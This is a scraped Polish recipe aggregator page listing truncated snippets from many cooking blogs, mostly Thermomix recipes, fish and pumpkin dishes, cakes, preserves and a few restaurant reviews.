sercowo-naczyniowy: obniżają poziom cholesterolu. Zawierają też przeciwutleniacz, który zmniejsza wystąpienie nowotworów. Zastosowanie: Są składnikiem słodkich wigilijnych dań np. kutii, rozmaitych ciast (np. sernika, keksu), ale pasują też do ryb (np. karpia po żydowsku, śledzi na słodko). Źródło: internet WIÓRKI KOKOSOWE To stara i wysuszona wewnętrzna wyściółka orzecha palmy kokosowej. Kokos jest dobrym źródłem białka, dlatego jadany jest przez wegetarian(...)odporność. Obecny w kokosie kwas laurynowy pomaga zwalczyć wirusy oraz bakterie. Zastosowanie: Używa się ich jako posypki do ciast, sałatek owocowych i lodów. Sprawdzą się też jako panierka do ryb i drobiu. Źródło: internet ŻURAWINA Żurawina to wciąż mało popularny w Polsce owoc. Większość z nas nie wie bowiem, jakie właściwości są ukryte w żurawinie, ponieważ jest jednym z najbardziej

Ciastka - domowe słodkości
Sernik miodowy świąteczny i coś mojego pióra – „Przedświąteczny dzień” 147

osób sprawia, że wszystko w te dni jest wyjątkowe. Dlaczego nie docenia tego, co może sobie dać z rodziną co roku o tej porze? Ona może i zje wigilijną rybę, może i poszuka z rodzeństwem na niebie pierwszej gwiazdki, ale z pewnością ich sztuczna, stara choinka nie zapachnie lasem, nie znajdzie pod nią niczego dla siebie. Po przeciwnej stronie stołu(...)karpia. Wieczorem będzie musiał pozbawić tchnienia biedne stworzenie pływające w wannie, aby nazajutrz jego żona mogła z dumą zaprezentować z niego danie na pozłacanym półmisku… Z wieńcem i rybą musi zajrzeć jeszcze do jubilera. Jeżeli znajomy sprzedawca nie sprowadził mu tego naszyjnika, o którym tak marzyła jego wybranka, ze spokojem będzie się mógł pożegnać do sylwestra. Bardzo dziękuje za takie

Raj dla Podniebienia
Domowe nuggetsy rybne 129

Choć te rybne nuggetsy nie są tak piękne i kształtne jak dostępne w marketowych zamrażarkach paluszki, to uwierzcie mi - są sto razy smaczniejsze! Pod złocistą panierką znajdziemy prawdziwą rybę a ich przygotowanie jest banalnie proste.  500g filetów rybnych bez skóry 2/3 szklanki bułki tartej 1/3 szklanki mąki  3 jajka sól, pieprz  olej 1. Filety kroimy w cienkie(...)paski. Dokładnie nacieramy solą i pieprzem. Bułkę tartą mieszamy z mąką, jajka rozbijamy i mieszamy widelcem.  2. Kawałki ryby maczamy w jajku, następnie w bułce z mąką, ponownie w jajku i bułce z mąką. Smażymy na rozgrzanym oleju do zarumienienia, przez około 3 minuty z każdej strony

Szefowa kuchni
Piernikowe brownie Thermomix 177

Piernikowe brownie. Przepisy Thermomix. Składniki: 200 g czekolady mlecznej 200 g masła 5 jajek 100 g cukru 100 g mąki 2 łyżeczki przyprawy do piernika cukier

Themo przepisy
Piernikowe trufle 184

Piernikowe trufle. Przepisy Thermomix. Składniki: 170 g pierników w glauzurze 125 g serka mascarpone 1 łyżka miodu kakao do obtoczenia trufli Piernikowe trufle. Thermomix przepisy. Wykonanie

Themo przepisy
Kimchi Thermomix 298

Kimchi Thermomix. Przepisy Thermomix. Przepis pochodzi z newslettera Thermomix ® Składniki: 1000 g kapusty pekińskiej, pokrojonej na 7-8 cm kawałki 170 g wody plus woda do

Themo przepisy
Dyniowa owsianka 146

Dyniowa owsianka. Thermomix przepisy. Składniki na 2 porcje: 60 g płatków owsianych górskich* 500 g mleka 60 g puree z dyni 1 łyżka esencji waniliowej lub

Themo przepisy
Krupnik z kaszą gryczaną i grzybami 201

Krupnik z kaszą gryczaną i grzybami. Przepisy Thermomix. Składniki: 1000 g wody 50 g suszonych grzybów 20 g masła klarowanego 1 cebula 1 marchewka 1 pietruszka

Themo przepisy
Ser labneh – ser z jogurtu 136

Ser labneh – ser z jogurtu. Thermomix przepisy. Ser labneh to delikatny i kremowy serek, który powstaje z jogurtu. Posiadacze Thermomix spokojnie mogą go zrobić z

Themo przepisy
Trufle kokosowo-czekoladowe 154

Trufle kokosowo-czekoladowe. Przepisy Thermomix. Składniki na 20 trufli: 200 g białej czekolady 150 g serka mascarpone 50 g wiórków kokosowych do masy 100 g wiórków

Themo przepisy
Kule do kąpieli Thermomix 286

Kule do kąpieli Thermomix. Thermomix przepisy. Przepis do wykonania w Thermomix TM31 i TM5 Składniki na 2 kule: 220 g sody oczyszczonej 110 g kwasku cytrynowego

Themo przepisy
Placek pomarańczowy z ananasem 147

Thermomix przepisy. Placek pomarańczowy z ananasem. Składniki: 120 g miękkiego masła skórka starta z 1 pomarańczy 80 g brązowego cukru 1 łyżka ekstraktu z wanilii szczypta

Themo przepisy
Ciasto marchewkowe z czekoladą - przysmak wszystkich dzieciaków 196

Ciasto marchewkowo-czekoladowe Wszyscy kochają ciasto marchewkowe - jest pachnące, wilgotne, świetnie pasuje do codziennej kawy oraz jako świąteczny wypiek. Wystarczy przygotować śmietankowy krem i ciasto marchewkowe

Korniszonki
Orkiszowo-pszenny chleb dekoracyjny w listopadowej piekarni 164

razem dołączyć do wspólnego wypikania w piekarni Amber 😊 I bardzo się cieszę, bo dzięki przepisowi zaproponowanemu przez Danę z Leśnego Zakątka cieszyłam się długą bułą w formie ryby (na pewno na Wigilię upiekę ponownie!) i pięknym chlebem przypominającym liść. Myślałam, że pracy będzie bardzo dużo, a tu niespodzianka - oba bochenki uformowałam szybciutko i bez problemów. Efekt jest nie tylko smaczny(...)wykonać rysunek przypominający unerwienie liścia. Drugi bochenek uformować podłużnie jak bułkę wrocławską. Jeden z końców naciąć na pół i lekko odchylić obie części od siebie, by przypominały tylną płetwę ryby. Chleb ponacinać ostrym nożem po obu bokach jak na zdjęciu. Uformowane bochenki posypujemy mąką i pozostawiamy do wyrośnięcia na blasze z piekarnika wyłożonym papierem do pieczenia na około

Weekendy w domu i ogrodzie
Placki z dyni 186

Thermomix przepisy. Placki z dyni. Składniki: 100 g puree z dyni 50 g kefiru 1 jajko 2 łyżki klarowanego masła 1 łyżka cukru pudru 100 g

Themo przepisy
Dorsz zapiekany w sosie grzybowym z kruszonką 104

mały pęczek cienkiego szczypioru masło klarowane składniki na kruszonkę: 2 łyżki mąki 1 łyżka cukru pudru (możecie użyć także drobnego cukru białego lub brązowego) 1 łyżka miękkiego masła Przygotowanie: Ryba: Filety rozmrażamy, posypujemy z obu stron solą i świeżo przetartym pieprzem. Układamy w naczyniu żaroodpornym. Sos: Pieczarki kroimy w drobne plasterki, borowiki w mniejszą kostkę. Przesmażamy na patelni na maśle

Zasmakuj Kuchni
Pasta jajeczna z wędzonąym łososiem 128

można ją przygotować na wiele sposobów, dodając ulubione składniki, by wzbogacić i urozmaicić jej smak. Moja propozycja to pasta jajeczna z wędzonym łososiem . Łososia możecie zamienić na inną, wędzoną rybę. Świetnie sprawdzi się dorsz lub klasycznie - makrela. Pasta jajeczna dobrze smakuje na każdym rodzaju pieczywa. Czy to jasna, puszysta, pszenna bułeczka, czy zwarty razowiec czy chlebek pełnoziarnisty z ziarnami(...)szczypiorku sól, pieprz Przygotowanie pasty: 1. Jajka ugotować na twardo, pozostawić do ostygnięcia. ostygnięte jajka obrać ze skorupek i drobno posiekać lub rozgnieść widelcem. 2. Do jajek dodać rozdrobnioną rybę i szczypiorek. 3. Pastę wymieszać z majonezem, jogurtem i musztardą. Na koniec pastę doprawić solą i pieprzem. Smacznego

kolorowotorcikowo
Bananowe brownie 308

Bananowe brownie. Thermomix przepisy. Składniki na bananowe brownie: 3 dojrzałe banany 200 g czekolady deserowej 150 g masła 3 jajka 90 g cukru 150 g mąki

Themo przepisy
Zupa z dyni z salsą mango 133

Zupa z dyni z salsą mango. Thermomix przepisy. Składniki: 700 g bulionu warzywnego 250 g puree z dyni 1 mała szalotka 2 łyżki masła klarowanego 3

Themo przepisy
Zapiekanka ziemniaczana z oscypkiem (z patelni) 202

Zapiekanka ziemniaczana Ten przepis na szybką zapiekankę ziemniaczaną z naszym rodzimym oscypkiem inspirowany jest… kuchnią hiszpańską! Zapiekankę można przygotować dosłownie w 20 minut i wystarczy do

Korniszonki
Śledzie w śmietanie. 175

nawet wpisane w 2006 r. na listę produktów tradycyjnych. Dodatek do tych ziemniaków stanowią śledzie w śmietanie. Dla mojego męża połączenie dość kontrowersyjne, dla mnie idealne :) Zdecydowanie bardziej wolę rybę w wersji marynowanej w occie, a nie solonej. To już kwestia gustu :) W dzieciństwie drażnił mnie dodatek cebuli, teraz już tak nie jest. No cóż, z czasem smaki się zmieniają(...)cebula 1 opakowanie kwaśnej śmietany 18% świeżo zmielony pieprz Wykonanie: Śledzie w razie potrzeby oczyścić, pokroić w paski. Cebulę obrać i pokroić w drobną kostkę. Do miski przełożyć cebulę, ryby i śmietanę. Doprawić pieprzem i delikatnie wymieszać. Podawać z ziemniakami ugotowanymi w łupinach

zadanie-gotowanie
Placki ziemniaczano dyniowe 178

Thermomix przepisy. Placki ziemniaczano dyniowe. Przepis na placki ziemniaczano dyniowe do wykonanie w Thermomix TM31 i TM5 Składniki: 400 g obranych ziemniaków 400 g obranej dyni

Themo przepisy
Sernik z Varomy 161

Przepisy Thermomix. Sernik z Varomy. Przepis na sernik z Varomy do wykonania w Thermomix TM31 i Thermomix TM5 Składniki: spód sernika: 40 g czekoladowych kruchych ciasteczek

Themo przepisy
Rogale marcińskie 141

Rogale marcińskie. Thermomix przepisy. Przepis na rogale marcińskie do wykonania w Thermomix TM31 i Thermomix TM5 Składniki: 250 g mleka 30 g świeżych drożdży 500 g

Themo przepisy
Smażony mintaj z pomidorami 191

Mało jest rybek u mnie na blogu 🙁 Może dlatego, że jakoś specjalnie nie szalejemy w kwestii ich przygotowania. Najczęściej zajadamy się pstrągiem i łososiem prosto z

gotować!
Fakes grecka zupa z zielonej soczewicy 235

Thermomix przepisy. Fakes grecka zupa z zielonej soczewicy. Przepis do wykonania w Thermomix TM31 i Thermomix5 Składniki: 150 g zielonej soczewicy 1 marchewka 1 cebula 1

Themo przepisy
Dynia faszerowana kurczakiem z pomidorami 149

Thermomix przepisy. Dynia faszerowana kurczakiem z pomidorami Przepis do wykonania w Thermomix TM31 i TM5 Składniki: 1 dynia makaronowa (żadna inna!) 2 łyżki oliwy z oliwek

Themo przepisy
Kurczak w słodko kwaśnym sosie 287

lubi przesiąknąć zapachem smażenia? I tak mamy wystarczająco dużo pracy;) trzeba sobie ułatwiać życie.;) Zawsze mnie bawi, kiedy goście nakładają sobie porcję będąc przekonanym, że jest to ryba;) a tu psikus to kurczak " class="wp-smiley" style="height: 1em; max-height: 1em;" /> Dzieje się tak zapewne przez to, że kurczak obtoczony jest w panierce zarezerwowanej dla ryby " class

Rusty Fork
Placek śniadaniowy z kiełbaskami 233

Thermomix przepisy. Placek śniadaniowy z kiełbaskami Przepis do wykonania w Thermomix TM31 i Thermomix TM5 Składniki: 70 g mąki orkiszowej jasnej 3 jajka 120 g mleka

Themo przepisy
Rolada biszkoptowa z jabłkami 140

Thermomix przepisy. Rolada biszkoptowa z jabłkami. Przepis do wykonania w Thermomix TM31 i Thermomix TM5 Składniki: składniki na biszkopt: 4 jajka 60 g cukru 2 łyżeczki

Themo przepisy
Sernik dyniowy na kruchym cieście 159

Sernik dyniowy - jesienny przysmak Sernik dyniowy to bardzo smaczne, jesienne ciasto, które cudownie pachnie i wygląda. Warto chociaż raz w roku przygotować taki deser, szczególnie w

Korniszonki
Paluchy wiedźmy Thermomix 171

Przepisy Thermomix. Paluchy wiedźmy. Przepis do wykonania w Thermomix TM31 i Thermomix TM5 Składniki: 200 g masła 400 g mąki pszennej 120 g cukru pudru 1

Themo przepisy
Dorsz w płatkach migdałowych z ryżem i zielonymi warzywami 111

się ukryć, że ostatnio troszkę mniej jemy ryb niż kiedyś ale jak już mamy ochotę zjeść kawałek świeżego i dobrego białego mięsa to nie pozostaje nam nic innego jak wycieczka na zakupy do Makro Cash&Carry. Tak też uczyniliśmy w weekend i dzięki temu mogliśmy zrobić to pyszne danie z tak smaczną i delikatną

Kuchenne Wariacje
Pieczona dynia z masłem szałwiowym 200

Pieczona dynia Pieczona dynia to smak jesieni. Można przygotować z niej zupy, ciasta, kluseczki. Świetnie smakuje także jako samodzielne danie - podana z masłem, oliwą, kozim serem

Korniszonki
Orzechowe latte 145

Thermomix przepisy. Orzechowe latte. Przepis do wykonania w Thermomix TM31 i Thermomix TM5 Składniki na 3-4 porcje: 1 szklanka zaparzonej mocnej kawy 300 g mleka

Themo przepisy
Jesienne menu w VIVIAN 139

oprawie z suszonymi borowikami, kurkami i pudrem z grzybów. Świetna kompozycja, która budzi atawistyczne odruchy i sprawia, że aż ma się ochotę zapolować na tę zwierzynę: oczywiście na talerzu! :) Ryba, kalafior i jajo Danie główne z łososia z kalafiorowym purée, żółtkiem sous-vide i palonym masłem, to bardzo przyjemna kompozycja dla tych, co lubią lekkie kremowe smaki. Danie niczym(...)zaskakuje, ale przyjemnie pieści podniebienie. Żółtko cudownie rozlewa się na rybie i pobudza zmysły, które miejscami zostają dopieszczone aromatem białych trufli. Jagnięcina, kawa i czekolada Kolejne danie to biodrówka jagnięca podana z chipsem z pasternaku, sensualnym sosem, w którym wyczuwalne są refleksy kawy i czekolady i borówkami. Połączenie wyszukane w smaku i mogące zadowolić wymagające podniebienia. Wybuchowy sernik

Food Square
Pałki z kurczaka z ziemniakami i sosem węgierskim 237

Przepisy Thermomix. Pałki z kurczaka z ziemniakami i sosem węgierskim. Przepis do wykonania w Thermomix TM31 i Thermomix TM5. Składniki: 10 pałek z kurczaka 10 ziemniaków

Themo przepisy
Sok z winogron na zimę 160

Sok winogronowy Sok z winogron z powodzeniem można przygotować z winogron, które rosną na działce lub w ogrodzie. Przeważnie nie są to odmiany deserowe więc owoce

Korniszonki
Dorsz zapiekany w warzywach z sosem tzatziki 187

trudny przepis! :) Potrzebne będą: - filety z dorsza (w zależności od wielkości i porcji jaką chcecie przygotować - ja podzieliłam 3 filety na mniejsze kawałki, zatem wyszło mi 6 paczuszek z rybą); - pieprz cytrynowy; - sól morska; - oregano; - pieprz cayenne; - farsz warzywny: 1 cukinia, 1 por, 0,5kg pieczarek, 1 papryka, 4 ząbki czosnku; - 2 łyżki oliwy; - 2 łyżki masła; - świeży koperek(...)Możemy podawać go z młodymi ziemniaczkami i koperkiem, wówczas sos tzatziki będzie idealnie się komponował! Osoby, które ograniczają porcje węglowodanów w ciągu dnia, oczywiście mogą z pewnością taką porcje ryby zjeść bez ziemniaków. :) SMACZNEGO

MintTaste
Domowe masło ze śmietanki kremówki 179

Domowe masło ze śmietanki kremówki Nie jesteśmy skazani na masło ze sklepu - z różnymi dodatkami, ulepszaczami i wzmacniaczami smaku oraz koloru. Pyszne masło może zrobić sobie

Korniszonki
Szarlotka babci 172

Szarlotka z bitą śmietaną Szarlotka, czyli jabłecznik, to obowiązkowa pozycja deserowa jesienią. Smak ciasta z jabłkami chyba wszystkim kojarzy się z dzieciństwem i podwieczorkiem u babci

Korniszonki
Restauracja Grube Ryby w Zabierzowie 126

czasie i stek został zbyt szybko przygotowany. Mięso było jednak dobrze doprawione, świetny sos i sałatka. Ziemniaczki też super, bo został odsączony nadmiar tłuszczu. Plus za kwiatek ;) Ryba imponująca, mięciutka. Kurczak delikatny i soczysty. Pomimo tego, że na jednym talerzu zostało podane danie główne i surówka, sos nie przedostał się (dzięki swojej konsystencji) pod marchewkę. Burger wołowy średnio wysmażony, idealny(...)spodziewaliśmy się, że ser camembert będzie tak dobrze do niego pasował. Bardzo sycący posiłek. Bułka mogłaby być nieco bardziej chrupiąca. Podsumowując, polecam restaurację Grube Ryby w Zabierzowie. Komfortowy lokal, miła obsługa, smaczne dania. Zdecydowanie każdy znajdzie tutaj coś przyjemnego dla swojego podniebienia. P.S. Jeszcze

Karola gotuje
Kanie po grecku 251

Kanie na straganach ciągle są, a jeśli lubicie grzyby i smak sosu do ryby po grecku, to ten przepis jest dla Was. Trafiłam na niego przeglądając rosyjskie blogi kulinarne, Trochę zmodyfikowałam smak sosu, bo nie użyłam selera naciowego tylko tradycyjny korzeniowy i użyłam swoich ulubionych przypraw, jakie zawsze dodaję do tego sosu robiąc rybę po grecku. W oryginale były tylko

Gosia gotuje
Likier jajeczny Thermomix 225

Thermomix przepisy. Likier jajeczny Thermomix. Przepis do wykonania w Thermomix TM31 i Thermomix TM5 . Składniki: 150 g cukru waniliowego zrobionego w Thermomix 250 g białego rumu

Themo przepisy
Bombardino 253

Thermomix przepisy. Bombardino. Składniki: likier jajeczny wg tego przepisu śmietana min 30% Thermomix przepisy. Bombardino. Wykonanie: Do naczynia Thermomix zakładamy motylek. Śmietanę mocno schłodzoną wlewamy do

Themo przepisy
Babeczki bananowe z masłem orzechowym 189

Babeczki bananowe Te muffinki bananowe są naprawdę pyszne - wilgotne, pachnące i nie za bardzo słodkie. Swój niepowtarzalny smak zawdzięczają dodatkowi masła orzechowego. Cudownie smakują z dodatkiem

Korniszonki
Drożdżówki z serem i pomarańczą 477

Thermomix przepisy. Drożdżówki z serem i pomarańczą. Przepis do wykonania w Thermomix TM31 i Thermomix TM5 Składniki: Ciasto na drożdżówki: 230 g mleka 30 g świeżych

Themo przepisy
Charakterystyka kuchni niemieckiej i litewskiej 157

Cechą charakterystyczną kuchni niemieckiej jest to, że jest różnorodna i niejednolita. Każda część Niemiec ma swoje smaki. Jest bardzo podobna do kuchni polskiej. Jeżeli chodzi o ryby to możemy tam spotkać śledzie, homary, węgorze, okoń, pstrąg. Podawane są w różnych odmianach między innymi w zupach czy surówkach. Kuchnia niemiecka w swoim menu ma dużą ilość dań mięsnych przede wszystkim kiełbasy(...)każdego obiadu musi mieć piwo, wtedy obiad będzie pełny. Napój powinien być odpowiednio schłodzony i gorzki. Do najpopularniejszych niemieckich piw zaliczamy Bock, Pilsner czy Lage. Jeżeli jesteś miłośnikiem ryb, mięsa, zup czy piwa to ta kuchnia jest idealna dla Ciebie. Natomiast kuchnia litewska charakteryzuje się ona zdrowymi potrawami, jest smaczna i syta. Każdy może zjeść coś co go zainteresuje

Kulinarnyblog.pl - wiesz jak gotować!
Kiszone rydze 269

Kiszone rydze Kiszone rydze to prawdziwy przysmak polskiej kuchni. Choć dziś nieco zapomniany, na szczęście znów wraca do łask smakoszy. Do kiszenia trzeba wybrać rydze zdrowe

Korniszonki
Aromatyczny pstrąg pieczony w folii 151

Bardzo lubię ryby, te pochodzące z pewnych źródeł są zdrowe i smaczne. Dziś proponuję pieczonego pstrąga. Składniki : 1 świeży pstrąg (wypatroszony) sok z 1 cytryny pół cytryny pokrojonej w plastry 2 ząbki czosnku garść świeżej zielonej pietruszki świeżo mielony czarny pieprz sól 1,4 kostki masła Przygotowanie: pstrąga bardzo dokładnie umyj, wytrzyj papierowym ręcznikiem pietruszkę i czosnek drobno posiekaj cytrynę(...)masłem pstrąga w środku natrzyj niedużą ilością soli i świeżo zmielonym czarnym pieprzem wyłóż masłem czosnkowym i pietruszką i na koniec plasterkami cytryny szczelnie zawiń w folię tak przygotowaną rybę włóż do płytkiej brytfanki i piecz w temperaturze 185 stopni Celsjusza przez 25 minut po tym czasie wyjmij pstrąga z piekarnika i otwórz folię aluminiową i wstaw jeszcze do piekarnika

Oka w rosole czyli KaFka gotuje
Chleb z ziarnami słonecznika, dyni i siemienia 253

Thermomix przepisy. Chleb z ziarnami słonecznika, dyni i siemienia. Przepis na Thermomix TM31 i Thermomix TM5 Składniki: 300 g wody 1 łyżeczka cukru 20 g świeżych

Themo przepisy
Łosoś na Varomie z salsą mango 188

Thermomix przepisy. Łosoś na Varomie z salsą mango Przepis na Thermomix TM31 i Thermomix TM5 Składniki: 2 filety z łososia sól pieprz gałązki rozmarynu 600 g

Themo przepisy
Koktajl dynia, ananas i pomarańcza 151

Thermomix przepisy. Koktajl dynia, ananas i pomarańcza. Przepis na Thermomix TM31 i Thermomix TM5 Składniki: 300 g świeżego ananasa 200 g dyni 100 g soku wyciśniętego

Themo przepisy
Jak zrobić sos francuski Mornay 241

francuski. To tylko kilka łatwo dostępnych składników. Sos idealny jest do: -  gotowanych szparagów - białego mięsa np. pieczonego kurczaka - jajek na twardo oraz w koszulkach - gotowanych i pieczonych ryb - pulpetów z kurczaka i ryb Czas przygotowywania: do 20 minut Ilość sosu:  4 porcje Składniki: • 30 g masła - 2 łyżki • 30 g mąki - 1 czubata łyżka

AniaGotuje.pl
Ciasto cytrynowe - babka cytrynowa 587

Ciasto cytrynowe Babka cytrynowa to pyszne, wilgotne ciasto, które świetnie smakuje nie tylko w czasie świąt wielkanocnych, ale jest doskonałym dodatkiem do kawy o każdej porze

Korniszonki
Catering dietetyczny OptimalFit - podsumowanie 147

oparta jest na sporej ilości produktów z pełnego ziarna - pieczywie, ryżu kaszach, naprawdę dużej ilości warzyw, nabiale (jajka, twarogi, jogurty), strączkach  oraz zdrowych tłuszczach z nasion, orzechów czy ryb.  Na śniadania jadałam twarożek, jajka, pasty i omlety w towarzystwie chleba pełnoziarnistego, obiad to z reguły kasza, ryż a do tego ryba, strączki lub ciekawie przyrządzone mięso - często

Moje Kuchenne Rewelacje
Marynowane rydze, czyli grzybki w zalewie octowej 186

Marynowane rydze to wspaniały dodatek do zimnych mięs, wędlin i zimowych sałatek – szczególnie tych z majonezem i ziemniakami. Do zamarynowania grzybów potrzebne są świeże, młode rydze

Korniszonki
Chowder z kukurydzą 127

Thermomix przepisy. Chowder z kukurydzą i kurczakiem Przepis na Thermomix TM5 i TM31 Składniki: 200 g cukinii 100 g marchewki 250 g ziemniaków 80 g cebuli

Themo przepisy
Pesto bucatini z makrelą i pomidorami 193

Zbliża się międzynarodowy dzień makaronu. Makaron na obiad bardzo często u nas gości. Proponuję pesto bucatini z wędzoną makrelą i pomidorami. Jest to najprostsze danie z makaronu. Co prawda ryby sama nie wędziłam, ale zapewniam Was, że pesto jest domowe. Pesto bucatini to trochę grubszy makaron z dziurką w środku. Jest świetny, bo idealnie wsiąka sosy nawet pesto. Pesto zmiksowałam(...)jarmużu i pietruszki. Świetnie pasuje do wędzonej ryby. To danie często przygotowuję na kolację. Mój S. bardzo je lubi…Ja zresztą też choć ze zdecydowanie mniejszą porcją makaronu. Oczywiście można swobodnie użyć innego makaronu. Notorycznie kupuję różnokolorowe i przeróżnego kształtu makarony. Są to też makarony z mąki durum lub gryczanej. Świetnie smakują makarony z fasoli lub soi. Podobnie

codojedzenia
Jak przechowywać żywność w lodówce? 152

sernika na zimno. Środkowa półka. Idealna do przechowywania nabiału, wędlin, jak również gotowych zup w garnku czy innych tego typu potraw. Na dolnej półce lodówki należy przechowywać mięso i ryby. Uwaga! Należy pamiętać, aby nie trzymać surowego mięsa w opakowaniu foliowym i nie dłużej niż 24 godziny. Surowe mięso powinno być też oddzielone od innych produktów spożywczych. Większość obecnych lodówek(...)szybki sposób zapakujecie swoje produkty i zachowacie ich przydatność do spożycia na dłuższy czas. Pakować próżniowo można naprawdę różne produkty: pieczywo (chleby, bułki) drób ser żółty warzywa owoce mięso ryby Zapakowane produkty (w zależności od rodzaju) można przechowywać w lodówce lub zamrażalniku. Rozwiązanie niezwykle wygodne, zajmujące minimalną ilość miejsca, oszczędzające nasze pieniądze (nie wyrzucamy produktów). Gdzie można kupić takie urządzenie

Słodkie okruszki
Zapiekany kalafior z sosem serowym 339

Zapiekany kalafior z sosem serowym. Thermomix przepisy. Przepis na Thermomix TM31 i Thermomix TM5 Składniki: 600 g wody 1 łyżeczka soli mały kalafior 30 g masła

Themo przepisy
RISOTTO Z SUSZONYMI POMIDORAMI / DRIED TOMATOES RISOTTO 87

kolejne wydanie risotto – tym razem ostrzejsze. Znowu wystarczy kilka składników i obiad gotowy, gdyż to risotto można jeść samo lub jako dodatek do dania. Ja miałam ochotę na rybę stąd też grillowany łosoś Tak jak pisałam przed chwilą to danie nie wymaga dużej ilości składników, ale trzeba mu poświęcić chwilę – w końcu to risotto! Miłego gotowania. I love(...)jogurtu greckiego 200 ml białego, wytrawnego wina 500 ml bulionu warzywnego 6-8 suszonych pomidorów 1 łyżka kaparów 50 g cheddara 1-2 papryczki peperoncino sól, pieprz Ryba: 300 g łososia oliwa, sól, pieprz INGREDIENTS: Risotto: 150 g risotto rice 1/2 red onion 200 g Greek yogurt 200 ml dry white wine 500 ml vegetable stock 6-8 dried tomatoes

Martyna Cooks
Pikantna zupa grzybowa z łososiem / Spicy mushroom soup with salmon 174

Dziś przedstawiam coś rozgrzewającego, idealnego na te chłodne jesienne wieczory. Pyszna zupa z leśnymi grzybami, ziemniakami, łososiem i chilli z pewnością zaspokoją apetyt wszystkich amatorów grzybów i ryb. A rozgrzewa porządnie i syci na długo! Jak to zupy mają w zwyczaju, jest bardzo łatwa w przygotowaniu. Jeżeli jak ja jesteś fanem zup grzybowych, polecam także zupę grzybową z brie , śmietankową

karmelowy
Flaczki z kani 220

Flaczki z kani. Thermomix przepisy. Składniki: 2 łyżki masła klarowanego 1 cebula 1 ząbek czosnku 4 kanie 1 marchewka 1 pietruszka 1 mały seler 1200 g

Themo przepisy
Jabłecznik z budyniem 868

Jabłecznik z budyniem. Thermomix przepisy. Składniki na ciasto: 500 g mąki pszennej 1 łyżeczka proszku do pieczenia 130 g cukru pudru 200 g masła 2 łyżki

Themo przepisy
Rybka z mozarellą i migdałami 153

się napełniania ich i układania na półkach! Ale to jeszcze troszkę... :) A teraz zapraszam Was na pyszną rybkę pod mozarellą, obsypaną po same brzegi migdałami. Składniki: ok 300 g ryby, np. pstrąg łososiowy sól pieprz tymianek skórka otarta z cytryny 1/2 cukinii kulka mozarelli pomidor natka pietruszki garść płatków migdałowych odrobina masła dodatkowo: mix sałat bagietka masło ząbek czosnku Wykonanie(...)Pstrąga łososiowego obrać ze skóry, cukinię pokroić w cienkie plastry. Naczynie żaroodporne posmarować masłem, wyłożyć cukinię. Rybę z obu stron posypać solą i pieprzem oraz wetrzeć skórkę cytrynową. Wyłożyć na cukinię. Mozarellę pokroić w plasterki, pomidora sparzyć, obrać i pokroić w kostkę, natkę pietruszki posiekać. Na pstrąga ułożyć ser, pomidory, całość posypać migdałami. Piec w piekarniku nagrzanym do 190 stopni

Trufelkowo
Jak zrobić sushi w tempurze? Podpowiadamy 151

spróbować samodzielnie przyrządzić ten japoński specjał, np. w tempurze. Poznaj kilka wskazówek, dzięki którym przygotowanie tego dania będzie dużo łatwiejsze. Tempura to nic innego jak obtoczenie kawałków warzyw czy ryby w cieście i smażenie ich na głębokim tłuszczu. Taka forma przyrządzania przywędrowała do Japonii z Portugalii, bardzo szybko zdobywając uznanie wśród mieszkańców Kraju Kwitnącej Wiśni. Tempura – trudniejsza niż się wydaje(...)dobrze rozgrzany olej. Smaż przez kilka minut. O tym pamiętaj Na koniec jeszcze jedna wskazówka, która dotyczy kolejności smażenia. Do gorącego oleju wrzuć najpierw warzywa, grzyby, a na końcu ryby i owoce morza. Dzięki temu smaki zanurzanych składników nie przejdą innymi – bardziej wyrazistymi. Masz ochotę na ciepłe sushi w Warszawie? Możesz spróbować przyrządzić je samodzielnie lub zamówić online. Skorzystaj

Tradycyjna Kuchnia
Szybki kurs przygotowania sushi w domu 180

jego sprawą – odbyć kulinarną podróż po orientalnych smakach. Niestety trzeba się liczyć z jego dość wysoką ceną. Sos sojowy Stanowi dodatek do sushi, w którym maczana jest ryba. Ocet ryżowy Jest niezbędny do przyrządzenia zaprawy ryżowej. Marynowany imbir Jego rolą jest oczyszczenie kubków smakowych. Pozwala to na czerpanie jeszcze większej przyjemności z jedzenia i doświadczania niezapomnianych połączeń smakowych. Dodatki(...)jednak pamiętaj o odpowiedniej „obróbce” – w zależności do wybranych dodatków. Warzywa należy umyć i obrać, a jeśli zachodzi taka konieczność – usunąć miąższ czy pestki. Sałatę porwij na mniejsze kawałki. Rybę pokrój w paski . Wyłóż matę bambusową , a na niej połóż jeden arkusz wodorostów. Umieść odpowiednią ilość ryżu (lepiej mniej niż więcej) – tak, by brzegi pozostały puste. Posmaruj chrzanem japońskim (dodatkowo

Codogara
Domowa stefanka bez pieczenia 245

Składniki na stefankę bez pieczenia Domowa stefanka bez pieczenia 1 paczka herbatników petit beurre ok. 250 g 2 żółtka ¾ kostki miękkiego masła 100 g czekolady 5

Korniszonki
Pulpeciki cielęce w sosie pieczarkowym 245

królowa jesieni. Nie każdy za nią przepada, jednak ... Świąteczna pieczeń schabowa z żurawiną Na uroczysty obiad z okazji pierwszego lub drugiego dnia Świ... Kedgeree - jednogarnkowa potrawka z wędzonej ryby Kedgeree (czyt. kedżeri) to jednogarnkowa potrawka z wędzone... Łosoś w porach Ryba w papilotach gości u mnie bardzo często. Zazwyczaj na k... Post Pulpeciki cielęce w sosie pieczarkowym pochodzi z bloga

Poezja smaku
Jak zaoszczędzić i przedłużyć przydatność żywności do spożycia? 171

swój smak i wartości odżywcze; pakowanie próżniowe pomaga lepiej planować zakupy i nimi zarządzać, a tym samym pozwala na oszczędności; pakować można niemal wszystko – owoce, warzywa, sery, mięsa, wędliny, ryby, gotowe dania itd. nie wyrzucamy już jedzenia! Co można pakować próżniowo i o ile przedłuża to trwałość poszczególnych produktów? Artykuły spożywcze Trwałość artykułów niezapakowanych próżniowo Trwałość artykułów zapakowanych próżniowo Chleb/bu(...)Trwałość artykułów niezapakowanych próżniowo Trwałość artykułów zapakowanych próżniowo Pieczywo 6-9 miesięcy 24-26 miesięcy Owoce 6-12 miesięcy 24-26 miesięcy Warzywa 8-10 miesięcy 24-26 miesięcy Ryby 6 miesięcy 24-26 miesięcy Drób 6 miesięcy 24-26 miesięcy Mięso mielone 4 miesiące 12 miesięcy Mięso 6 miesięcy 24-26 miesięcy Każdy produkt po zapakowaniu próżniowym należy podpisać

Słodkie okruszki
Kotlety z kaszy jęczmiennej 182

Przepisy Thermomix. Kotlety z kaszy jęczmiennej. Składniki: 200 g kaszy jęczmiennej 1 duże jajo 1 cebula 2 łyżki masła klarowanego do podsmażenia cebuli 4 łyżki bułki

Themo przepisy
